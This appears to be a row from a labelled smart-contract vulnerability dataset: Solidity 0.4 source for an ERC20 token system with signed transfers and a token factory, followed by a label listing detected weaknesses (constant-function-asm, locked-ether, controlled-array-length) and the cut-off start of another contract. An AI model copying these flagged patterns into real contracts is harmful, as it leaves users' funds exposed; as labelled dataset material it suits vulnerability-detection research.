// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contracts that can have tokens approved, and then a function executed
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// BokkyPooBah's Token Teleportation Service Interface v1.10
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence.
// ----------------------------------------------------------------------------
contract BTTSTokenInterface is ERC20Interface {
uint public constant bttsVersion = 110;
bytes public constant signingPrefix = "\x19Ethereum Signed Message:\n32";
bytes4 public constant signedTransferSig = "\x75\x32\xea\xac";
bytes4 public constant signedApproveSig = "\xe9\xaf\xa7\xa1";
bytes4 public constant signedTransferFromSig = "\x34\x4b\xcc\x7d";
bytes4 public constant signedApproveAndCallSig = "\xf1\x6f\x9b\x53";
event OwnershipTransferred(address indexed from, address indexed to);
event MinterUpdated(address from, address to);
event Mint(address indexed tokenOwner, uint tokens, bool lockAccount);
event MintingDisabled();
event TransfersEnabled();
event AccountUnlocked(address indexed tokenOwner);
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success);
// ------------------------------------------------------------------------
// signed{X} functions
// ------------------------------------------------------------------------
function signedTransferHash(address tokenOwner, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash);
function signedTransferCheck(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result);
function signedTransfer(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success);
function signedApproveHash(address tokenOwner, address spender, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash);
function signedApproveCheck(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result);
function signedApprove(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success);
function signedTransferFromHash(address spender, address from, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash);
function signedTransferFromCheck(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result);
function signedTransferFrom(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success);
function signedApproveAndCallHash(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce) public view returns (bytes32 hash);
function signedApproveAndCallCheck(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result);
function signedApproveAndCall(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success);
function mint(address tokenOwner, uint tokens, bool lockAccount) public returns (bool success);
function unlockAccount(address tokenOwner) public;
function disableMinting() public;
function enableTransfers() public;
// ------------------------------------------------------------------------
// signed{X}Check return status
// ------------------------------------------------------------------------
enum CheckResult {
Success, // 0 Success
NotTransferable, // 1 Tokens not transferable yet
AccountLocked, // 2 Account locked
SignerMismatch, // 3 Mismatch in signing account
InvalidNonce, // 4 Invalid nonce
InsufficientApprovedTokens, // 5 Insufficient approved tokens
InsufficientApprovedTokensForFees, // 6 Insufficient approved tokens for fees
InsufficientTokens, // 7 Insufficient tokens
InsufficientTokensForFees, // 8 Insufficient tokens for fees
OverflowError // 9 Overflow error
}
}
// ----------------------------------------------------------------------------
// BokkyPooBah's Token Teleportation Service Library v1.00
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence.
// ----------------------------------------------------------------------------
library BTTSLib {
struct Data {
bool initialised;
// Ownership
address owner;
address newOwner;
// Minting and management
address minter;
bool mintable;
bool transferable;
mapping(address => bool) accountLocked;
// Token
string symbol;
string name;
uint8 decimals;
uint totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => uint) nextNonce;
}
// ------------------------------------------------------------------------
// Constants
// ------------------------------------------------------------------------
uint public constant bttsVersion = 110;
bytes public constant signingPrefix = "\x19Ethereum Signed Message:\n32";
bytes4 public constant signedTransferSig = "\x75\x32\xea\xac";
bytes4 public constant signedApproveSig = "\xe9\xaf\xa7\xa1";
bytes4 public constant signedTransferFromSig = "\x34\x4b\xcc\x7d";
bytes4 public constant signedApproveAndCallSig = "\xf1\x6f\x9b\x53";
// ------------------------------------------------------------------------
// Event
// ------------------------------------------------------------------------
event OwnershipTransferred(address indexed from, address indexed to);
event MinterUpdated(address from, address to);
event Mint(address indexed tokenOwner, uint tokens, bool lockAccount);
event MintingDisabled();
event TransfersEnabled();
event AccountUnlocked(address indexed tokenOwner);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
// ------------------------------------------------------------------------
// Initialisation
// ------------------------------------------------------------------------
function init(Data storage self, address owner, string symbol, string name, uint8 decimals, uint initialSupply, bool mintable, bool transferable) public {
require(!self.initialised);
self.initialised = true;
self.owner = owner;
self.symbol = symbol;
self.name = name;
self.decimals = decimals;
if (initialSupply > 0) {
self.balances[owner] = initialSupply;
self.totalSupply = initialSupply;
Mint(self.owner, initialSupply, false);
Transfer(address(0), self.owner, initialSupply);
}
self.mintable = mintable;
self.transferable = transferable;
}
// ------------------------------------------------------------------------
// Safe maths, inspired by OpenZeppelin
// ------------------------------------------------------------------------
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
// ------------------------------------------------------------------------
// Ownership
// ------------------------------------------------------------------------
function transferOwnership(Data storage self, address newOwner) public {
require(msg.sender == self.owner);
self.newOwner = newOwner;
}
function acceptOwnership(Data storage self) public {
require(msg.sender == self.newOwner);
OwnershipTransferred(self.owner, self.newOwner);
self.owner = self.newOwner;
self.newOwner = address(0);
}
function transferOwnershipImmediately(Data storage self, address newOwner) public {
require(msg.sender == self.owner);
OwnershipTransferred(self.owner, newOwner);
self.owner = newOwner;
self.newOwner = address(0);
}
// ------------------------------------------------------------------------
// Minting and management
// ------------------------------------------------------------------------
function setMinter(Data storage self, address minter) public {
require(msg.sender == self.owner);
require(self.mintable);
MinterUpdated(self.minter, minter);
self.minter = minter;
}
function mint(Data storage self, address tokenOwner, uint tokens, bool lockAccount) public returns (bool success) {
require(self.mintable);
require(msg.sender == self.minter || msg.sender == self.owner);
if (lockAccount) {
self.accountLocked[tokenOwner] = true;
}
self.balances[tokenOwner] = safeAdd(self.balances[tokenOwner], tokens);
self.totalSupply = safeAdd(self.totalSupply, tokens);
Mint(tokenOwner, tokens, lockAccount);
Transfer(address(0), tokenOwner, tokens);
return true;
}
function unlockAccount(Data storage self, address tokenOwner) public {
require(msg.sender == self.owner);
require(self.accountLocked[tokenOwner]);
self.accountLocked[tokenOwner] = false;
AccountUnlocked(tokenOwner);
}
function disableMinting(Data storage self) public {
require(self.mintable);
require(msg.sender == self.minter || msg.sender == self.owner);
self.mintable = false;
if (self.minter != address(0)) {
MinterUpdated(self.minter, address(0));
self.minter = address(0);
}
MintingDisabled();
}
function enableTransfers(Data storage self) public {
require(msg.sender == self.owner);
require(!self.transferable);
self.transferable = true;
TransfersEnabled();
}
// ------------------------------------------------------------------------
// Other functions
// ------------------------------------------------------------------------
function transferAnyERC20Token(Data storage self, address tokenAddress, uint tokens) public returns (bool success) {
require(msg.sender == self.owner);
return ERC20Interface(tokenAddress).transfer(self.owner, tokens);
}
// ------------------------------------------------------------------------
// ecrecover from a signature rather than the signature in parts [v, r, s]
// The signature format is a compact form {bytes32 r}{bytes32 s}{uint8 v}.
// Compact means, uint8 is not padded to 32 bytes.
//
// An invalid signature results in the address(0) being returned, make
// sure that the returned result is checked to be non-zero for validity
//
// Parts from https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d
// ------------------------------------------------------------------------
function ecrecoverFromSig(bytes32 hash, bytes sig) public pure returns (address recoveredAddress) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) return address(0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
// Here we are loading the last 32 bytes. We exploit the fact that 'mload' will pad with zeroes if we overread.
// There is no 'mload8' to do this, but that would be nicer.
v := byte(0, mload(add(sig, 96)))
}
// Albeit non-transactional signatures are not specified by the YP, one would expect it to match the YP range of [27, 28]
// geth uses [0, 1] and some clients have followed. This might change, see https://github.com/ethereum/go-ethereum/issues/2053
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) return address(0);
return ecrecover(hash, v, r, s);
}
// ------------------------------------------------------------------------
// Get CheckResult message
// ------------------------------------------------------------------------
function getCheckResultMessage(Data storage /*self*/, BTTSTokenInterface.CheckResult result) public pure returns (string) {
if (result == BTTSTokenInterface.CheckResult.Success) {
return "Success";
} else if (result == BTTSTokenInterface.CheckResult.NotTransferable) {
return "Tokens not transferable yet";
} else if (result == BTTSTokenInterface.CheckResult.AccountLocked) {
return "Account locked";
} else if (result == BTTSTokenInterface.CheckResult.SignerMismatch) {
return "Mismatch in signing account";
} else if (result == BTTSTokenInterface.CheckResult.InvalidNonce) {
return "Invalid nonce";
} else if (result == BTTSTokenInterface.CheckResult.InsufficientApprovedTokens) {
return "Insufficient approved tokens";
} else if (result == BTTSTokenInterface.CheckResult.InsufficientApprovedTokensForFees) {
return "Insufficient approved tokens for fees";
} else if (result == BTTSTokenInterface.CheckResult.InsufficientTokens) {
return "Insufficient tokens";
} else if (result == BTTSTokenInterface.CheckResult.InsufficientTokensForFees) {
return "Insufficient tokens for fees";
} else if (result == BTTSTokenInterface.CheckResult.OverflowError) {
return "Overflow error";
} else {
return "Unknown error";
}
}
// ------------------------------------------------------------------------
// Token functions
// ------------------------------------------------------------------------
function transfer(Data storage self, address to, uint tokens) public returns (bool success) {
// Owner and minter can move tokens before the tokens are transferable
require(self.transferable || (self.mintable && (msg.sender == self.owner || msg.sender == self.minter)));
require(!self.accountLocked[msg.sender]);
self.balances[msg.sender] = safeSub(self.balances[msg.sender], tokens);
self.balances[to] = safeAdd(self.balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(Data storage self, address spender, uint tokens) public returns (bool success) {
require(!self.accountLocked[msg.sender]);
self.allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(Data storage self, address from, address to, uint tokens) public returns (bool success) {
require(self.transferable);
require(!self.accountLocked[from]);
self.balances[from] = safeSub(self.balances[from], tokens);
self.allowed[from][msg.sender] = safeSub(self.allowed[from][msg.sender], tokens);
self.balances[to] = safeAdd(self.balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function approveAndCall(Data storage self, address spender, uint tokens, bytes data) public returns (bool success) {
require(!self.accountLocked[msg.sender]);
self.allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Signed function
// ------------------------------------------------------------------------
function signedTransferHash(Data storage /*self*/, address tokenOwner, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) {
hash = keccak256(signedTransferSig, address(this), tokenOwner, to, tokens, fee, nonce);
}
function signedTransferCheck(Data storage self, address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (BTTSTokenInterface.CheckResult result) {
if (!self.transferable) return BTTSTokenInterface.CheckResult.NotTransferable;
bytes32 hash = signedTransferHash(self, tokenOwner, to, tokens, fee, nonce);
if (tokenOwner == address(0) || tokenOwner != ecrecoverFromSig(keccak256(signingPrefix, hash), sig)) return BTTSTokenInterface.CheckResult.SignerMismatch;
if (self.accountLocked[tokenOwner]) return BTTSTokenInterface.CheckResult.AccountLocked;
if (self.nextNonce[tokenOwner] != nonce) return BTTSTokenInterface.CheckResult.InvalidNonce;
uint total = safeAdd(tokens, fee);
if (self.balances[tokenOwner] < tokens) return BTTSTokenInterface.CheckResult.InsufficientTokens;
if (self.balances[tokenOwner] < total) return BTTSTokenInterface.CheckResult.InsufficientTokensForFees;
if (self.balances[to] + tokens < self.balances[to]) return BTTSTokenInterface.CheckResult.OverflowError;
if (self.balances[feeAccount] + fee < self.balances[feeAccount]) return BTTSTokenInterface.CheckResult.OverflowError;
return BTTSTokenInterface.CheckResult.Success;
}
function signedTransfer(Data storage self, address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success) {
require(self.transferable);
bytes32 hash = signedTransferHash(self, tokenOwner, to, tokens, fee, nonce);
require(tokenOwner != address(0) && tokenOwner == ecrecoverFromSig(keccak256(signingPrefix, hash), sig));
require(!self.accountLocked[tokenOwner]);
require(self.nextNonce[tokenOwner] == nonce);
self.nextNonce[tokenOwner] = nonce + 1;
self.balances[tokenOwner] = safeSub(self.balances[tokenOwner], tokens);
self.balances[to] = safeAdd(self.balances[to], tokens);
Transfer(tokenOwner, to, tokens);
self.balances[tokenOwner] = safeSub(self.balances[tokenOwner], fee);
self.balances[feeAccount] = safeAdd(self.balances[feeAccount], fee);
Transfer(tokenOwner, feeAccount, fee);
return true;
}
function signedApproveHash(Data storage /*self*/, address tokenOwner, address spender, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) {
hash = keccak256(signedApproveSig, address(this), tokenOwner, spender, tokens, fee, nonce);
}
function signedApproveCheck(Data storage self, address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (BTTSTokenInterface.CheckResult result) {
if (!self.transferable) return BTTSTokenInterface.CheckResult.NotTransferable;
bytes32 hash = signedApproveHash(self, tokenOwner, spender, tokens, fee, nonce);
if (tokenOwner == address(0) || tokenOwner != ecrecoverFromSig(keccak256(signingPrefix, hash), sig)) return BTTSTokenInterface.CheckResult.SignerMismatch;
if (self.accountLocked[tokenOwner]) return BTTSTokenInterface.CheckResult.AccountLocked;
if (self.nextNonce[tokenOwner] != nonce) return BTTSTokenInterface.CheckResult.InvalidNonce;
if (self.balances[tokenOwner] < fee) return BTTSTokenInterface.CheckResult.InsufficientTokensForFees;
if (self.balances[feeAccount] + fee < self.balances[feeAccount]) return BTTSTokenInterface.CheckResult.OverflowError;
return BTTSTokenInterface.CheckResult.Success;
}
function signedApprove(Data storage self, address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success) {
require(self.transferable);
bytes32 hash = signedApproveHash(self, tokenOwner, spender, tokens, fee, nonce);
require(tokenOwner != address(0) && tokenOwner == ecrecoverFromSig(keccak256(signingPrefix, hash), sig));
require(!self.accountLocked[tokenOwner]);
require(self.nextNonce[tokenOwner] == nonce);
self.nextNonce[tokenOwner] = nonce + 1;
self.allowed[tokenOwner][spender] = tokens;
Approval(tokenOwner, spender, tokens);
self.balances[tokenOwner] = safeSub(self.balances[tokenOwner], fee);
self.balances[feeAccount] = safeAdd(self.balances[feeAccount], fee);
Transfer(tokenOwner, feeAccount, fee);
return true;
}
function signedTransferFromHash(Data storage /*self*/, address spender, address from, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) {
hash = keccak256(signedTransferFromSig, address(this), spender, from, to, tokens, fee, nonce);
}
function signedTransferFromCheck(Data storage self, address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (BTTSTokenInterface.CheckResult result) {
if (!self.transferable) return BTTSTokenInterface.CheckResult.NotTransferable;
bytes32 hash = signedTransferFromHash(self, spender, from, to, tokens, fee, nonce);
if (spender == address(0) || spender != ecrecoverFromSig(keccak256(signingPrefix, hash), sig)) return BTTSTokenInterface.CheckResult.SignerMismatch;
if (self.accountLocked[from]) return BTTSTokenInterface.CheckResult.AccountLocked;
if (self.nextNonce[spender] != nonce) return BTTSTokenInterface.CheckResult.InvalidNonce;
uint total = safeAdd(tokens, fee);
if (self.allowed[from][spender] < tokens) return BTTSTokenInterface.CheckResult.InsufficientApprovedTokens;
if (self.allowed[from][spender] < total) return BTTSTokenInterface.CheckResult.InsufficientApprovedTokensForFees;
if (self.balances[from] < tokens) return BTTSTokenInterface.CheckResult.InsufficientTokens;
if (self.balances[from] < total) return BTTSTokenInterface.CheckResult.InsufficientTokensForFees;
if (self.balances[to] + tokens < self.balances[to]) return BTTSTokenInterface.CheckResult.OverflowError;
if (self.balances[feeAccount] + fee < self.balances[feeAccount]) return BTTSTokenInterface.CheckResult.OverflowError;
return BTTSTokenInterface.CheckResult.Success;
}
function signedTransferFrom(Data storage self, address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success) {
require(self.transferable);
bytes32 hash = signedTransferFromHash(self, spender, from, to, tokens, fee, nonce);
require(spender != address(0) && spender == ecrecoverFromSig(keccak256(signingPrefix, hash), sig));
require(!self.accountLocked[from]);
require(self.nextNonce[spender] == nonce);
self.nextNonce[spender] = nonce + 1;
self.balances[from] = safeSub(self.balances[from], tokens);
self.allowed[from][spender] = safeSub(self.allowed[from][spender], tokens);
self.balances[to] = safeAdd(self.balances[to], tokens);
Transfer(from, to, tokens);
self.balances[from] = safeSub(self.balances[from], fee);
self.allowed[from][spender] = safeSub(self.allowed[from][spender], fee);
self.balances[feeAccount] = safeAdd(self.balances[feeAccount], fee);
Transfer(from, feeAccount, fee);
return true;
}
function signedApproveAndCallHash(Data storage /*self*/, address tokenOwner, address spender, uint tokens, bytes data, uint fee, uint nonce) public view returns (bytes32 hash) {
hash = keccak256(signedApproveAndCallSig, address(this), tokenOwner, spender, tokens, data, fee, nonce);
}
function signedApproveAndCallCheck(Data storage self, address tokenOwner, address spender, uint tokens, bytes data, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (BTTSTokenInterface.CheckResult result) {
if (!self.transferable) return BTTSTokenInterface.CheckResult.NotTransferable;
bytes32 hash = signedApproveAndCallHash(self, tokenOwner, spender, tokens, data, fee, nonce);
if (tokenOwner == address(0) || tokenOwner != ecrecoverFromSig(keccak256(signingPrefix, hash), sig)) return BTTSTokenInterface.CheckResult.SignerMismatch;
if (self.accountLocked[tokenOwner]) return BTTSTokenInterface.CheckResult.AccountLocked;
if (self.nextNonce[tokenOwner] != nonce) return BTTSTokenInterface.CheckResult.InvalidNonce;
if (self.balances[tokenOwner] < fee) return BTTSTokenInterface.CheckResult.InsufficientTokensForFees;
if (self.balances[feeAccount] + fee < self.balances[feeAccount]) return BTTSTokenInterface.CheckResult.OverflowError;
return BTTSTokenInterface.CheckResult.Success;
}
function signedApproveAndCall(Data storage self, address tokenOwner, address spender, uint tokens, bytes data, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success) {
require(self.transferable);
bytes32 hash = signedApproveAndCallHash(self, tokenOwner, spender, tokens, data, fee, nonce);
require(tokenOwner != address(0) && tokenOwner == ecrecoverFromSig(keccak256(signingPrefix, hash), sig));
require(!self.accountLocked[tokenOwner]);
require(self.nextNonce[tokenOwner] == nonce);
self.nextNonce[tokenOwner] = nonce + 1;
self.allowed[tokenOwner][spender] = tokens;
Approval(tokenOwner, spender, tokens);
self.balances[tokenOwner] = safeSub(self.balances[tokenOwner], fee);
self.balances[feeAccount] = safeAdd(self.balances[feeAccount], fee);
Transfer(tokenOwner, feeAccount, fee);
ApproveAndCallFallBack(spender).receiveApproval(tokenOwner, tokens, address(this), data);
return true;
}
}
// ----------------------------------------------------------------------------
// BokkyPooBah's Token Teleportation Service Token v1.10
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence.
// ----------------------------------------------------------------------------
contract BTTSToken is BTTSTokenInterface {
using BTTSLib for BTTSLib.Data;
BTTSLib.Data data;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function BTTSToken(address owner, string symbol, string name, uint8 decimals, uint initialSupply, bool mintable, bool transferable) public {
data.init(owner, symbol, name, decimals, initialSupply, mintable, transferable);
}
// ------------------------------------------------------------------------
// Ownership
// ------------------------------------------------------------------------
function owner() public view returns (address) {
return data.owner;
}
function newOwner() public view returns (address) {
return data.newOwner;
}
function transferOwnership(address _newOwner) public {
data.transferOwnership(_newOwner);
}
function acceptOwnership() public {
data.acceptOwnership();
}
function transferOwnershipImmediately(address _newOwner) public {
data.transferOwnershipImmediately(_newOwner);
}
// ------------------------------------------------------------------------
// Token
// ------------------------------------------------------------------------
function symbol() public view returns (string) {
return data.symbol;
}
function name() public view returns (string) {
return data.name;
}
function decimals() public view returns (uint8) {
return data.decimals;
}
// ------------------------------------------------------------------------
// Minting and management
// ------------------------------------------------------------------------
function minter() public view returns (address) {
return data.minter;
}
function setMinter(address _minter) public {
data.setMinter(_minter);
}
function mint(address tokenOwner, uint tokens, bool lockAccount) public returns (bool success) {
return data.mint(tokenOwner, tokens, lockAccount);
}
function accountLocked(address tokenOwner) public view returns (bool) {
return data.accountLocked[tokenOwner];
}
function unlockAccount(address tokenOwner) public {
data.unlockAccount(tokenOwner);
}
function mintable() public view returns (bool) {
return data.mintable;
}
function transferable() public view returns (bool) {
return data.transferable;
}
function disableMinting() public {
data.disableMinting();
}
function enableTransfers() public {
data.enableTransfers();
}
function nextNonce(address spender) public view returns (uint) {
return data.nextNonce[spender];
}
// ------------------------------------------------------------------------
// Other functions
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public returns (bool success) {
return data.transferAnyERC20Token(tokenAddress, tokens);
}
// ------------------------------------------------------------------------
// Don't accept ethers
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Token functions
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return data.totalSupply - data.balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return data.balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return data.allowed[tokenOwner][spender];
}
function transfer(address to, uint tokens) public returns (bool success) {
return data.transfer(to, tokens);
}
function approve(address spender, uint tokens) public returns (bool success) {
return data.approve(spender, tokens);
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
return data.transferFrom(from, to, tokens);
}
function approveAndCall(address spender, uint tokens, bytes _data) public returns (bool success) {
return data.approveAndCall(spender, tokens, _data);
}
// ------------------------------------------------------------------------
// Signed function
// ------------------------------------------------------------------------
function signedTransferHash(address tokenOwner, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) {
return data.signedTransferHash(tokenOwner, to, tokens, fee, nonce);
}
function signedTransferCheck(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result) {
return data.signedTransferCheck(tokenOwner, to, tokens, fee, nonce, sig, feeAccount);
}
function signedTransfer(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success) {
return data.signedTransfer(tokenOwner, to, tokens, fee, nonce, sig, feeAccount);
}
function signedApproveHash(address tokenOwner, address spender, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) {
return data.signedApproveHash(tokenOwner, spender, tokens, fee, nonce);
}
function signedApproveCheck(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result) {
return data.signedApproveCheck(tokenOwner, spender, tokens, fee, nonce, sig, feeAccount);
}
function signedApprove(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success) {
return data.signedApprove(tokenOwner, spender, tokens, fee, nonce, sig, feeAccount);
}
function signedTransferFromHash(address spender, address from, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) {
return data.signedTransferFromHash(spender, from, to, tokens, fee, nonce);
}
function signedTransferFromCheck(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result) {
return data.signedTransferFromCheck(spender, from, to, tokens, fee, nonce, sig, feeAccount);
}
function signedTransferFrom(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success) {
return data.signedTransferFrom(spender, from, to, tokens, fee, nonce, sig, feeAccount);
}
function signedApproveAndCallHash(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce) public view returns (bytes32 hash) {
return data.signedApproveAndCallHash(tokenOwner, spender, tokens, _data, fee, nonce);
}
function signedApproveAndCallCheck(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result) {
return data.signedApproveAndCallCheck(tokenOwner, spender, tokens, _data, fee, nonce, sig, feeAccount);
}
function signedApproveAndCall(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success) {
return data.signedApproveAndCall(tokenOwner, spender, tokens, _data, fee, nonce, sig, feeAccount);
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
function transferOwnershipImmediately(address _newOwner) public onlyOwner {
OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// BokkyPooBah's Token Teleportation Service Token Factory v1.10
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence.
// ----------------------------------------------------------------------------
contract BTTSTokenFactory is Owned {
// ------------------------------------------------------------------------
// Internal data
// ------------------------------------------------------------------------
mapping(address => bool) _verify;
address[] public deployedTokens;
// ------------------------------------------------------------------------
// Event
// ------------------------------------------------------------------------
event BTTSTokenListing(address indexed ownerAddress,
address indexed bttsTokenAddress,
string symbol, string name, uint8 decimals,
uint initialSupply, bool mintable, bool transferable);
// ------------------------------------------------------------------------
// Anyone can call this method to verify whether the bttsToken contract at
// the specified address was deployed using this factory
//
// Parameters:
// tokenContract the bttsToken contract address
//
// Return values:
// valid did this BTTSTokenFactory create the BTTSToken contract?
// decimals number of decimal places for the token contract
// initialSupply the token initial supply
// mintable is the token mintable after deployment?
// transferable are the tokens transferable after deployment?
// ------------------------------------------------------------------------
function verify(address tokenContract) public view returns (
bool valid,
address owner,
uint decimals,
bool mintable,
bool transferable
) {
valid = _verify[tokenContract];
if (valid) {
BTTSToken t = BTTSToken(tokenContract);
owner = t.owner();
decimals = t.decimals();
mintable = t.mintable();
transferable = t.transferable();
}
}
// ------------------------------------------------------------------------
// Any account can call this method to deploy a new BTTSToken contract.
// The owner of the BTTSToken contract will be the calling account
//
// Parameters:
// symbol symbol
// name name
// decimals number of decimal places for the token contract
// initialSupply the token initial supply
// mintable is the token mintable after deployment?
// transferable are the tokens transferable after deployment?
//
// For example, deploying a BTTSToken contract with `initialSupply` of
// 1,000.000000000000000000 tokens:
// symbol "ME"
// name "My Token"
// decimals 18
// initialSupply 10000000000000000000000 = 1,000.000000000000000000
// tokens
// mintable can tokens be minted after deployment?
// transferable are the tokens transferable after deployment?
//
// The BTTSTokenListing() event is logged with the following parameters
// owner the account that execute this transaction
// symbol symbol
// name name
// decimals number of decimal places for the token contract
// initialSupply the token initial supply
// mintable can tokens be minted after deployment?
// transferable are the tokens transferable after deployment?
// ------------------------------------------------------------------------
function deployBTTSTokenContract(
string symbol,
string name,
uint8 decimals,
uint initialSupply,
bool mintable,
bool transferable
) public returns (address bttsTokenAddress) {
bttsTokenAddress = new BTTSToken(
msg.sender,
symbol,
name,
decimals,
initialSupply,
mintable,
transferable);
// Record that this factory created the trader
_verify[bttsTokenAddress] = true;
deployedTokens.push(bttsTokenAddress);
BTTSTokenListing(msg.sender, bttsTokenAddress, symbol, name, decimals,
initialSupply, mintable, transferable);
}
// ------------------------------------------------------------------------
// Number of deployed tokens
// ------------------------------------------------------------------------
function numberOfDeployedTokens() public view returns (uint) {
return deployedTokens.length;
}
// ------------------------------------------------------------------------
// Factory owner can transfer out any accidentally sent ERC20 tokens
//
// Parameters:
// tokenAddress contract address of the token contract being withdrawn
// from
// tokens number of tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Don't accept ethers
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) constant-function-asm with Medium impact
2) locked-ether with Medium impact
3) controlled-array-length with High impact |
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
